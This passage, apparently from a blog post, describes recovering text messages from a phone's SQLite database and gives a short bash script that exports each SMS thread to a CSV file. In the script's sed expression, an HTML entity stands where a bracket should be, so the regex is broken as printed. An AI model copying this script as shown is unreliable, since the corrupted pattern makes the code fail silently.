media_uri TEXT,
read INTEGER DEFAULT 0,
UNIQUE(_id,msg_type) ON CONFLICT REPLACE);

It was not too complex, so in 2 minutes I made a quick and dirty but working script to extract the text threads to CSV files:


#!/bin/bash

for thread in $(sqlite3 icing_mmssms.db 'select distinct thread_id from mmssms'); do
  address=`sqlite3 icing_mmssms.db 'select distinct address from mmssms where thread_id = '"$thread" | sed 's/&#91;^0-9]*//g'`
  sqlite3 -csv icing_mmssms.db 'SELECT datetime(date/1000, "unixepoch","localtime"), address, msg_type, body from mmssms where thread_id = '"$thread"' order by date' > sms_with_${address}_thread_${thread}.csv
done

All done, this was the last step to recover every requested file and info from the phone. I did not spend too much time on the recovery itself and the whole process was also fun for me, especially by knowing the fact that others have failed before me.

Challenge accomplished 🙂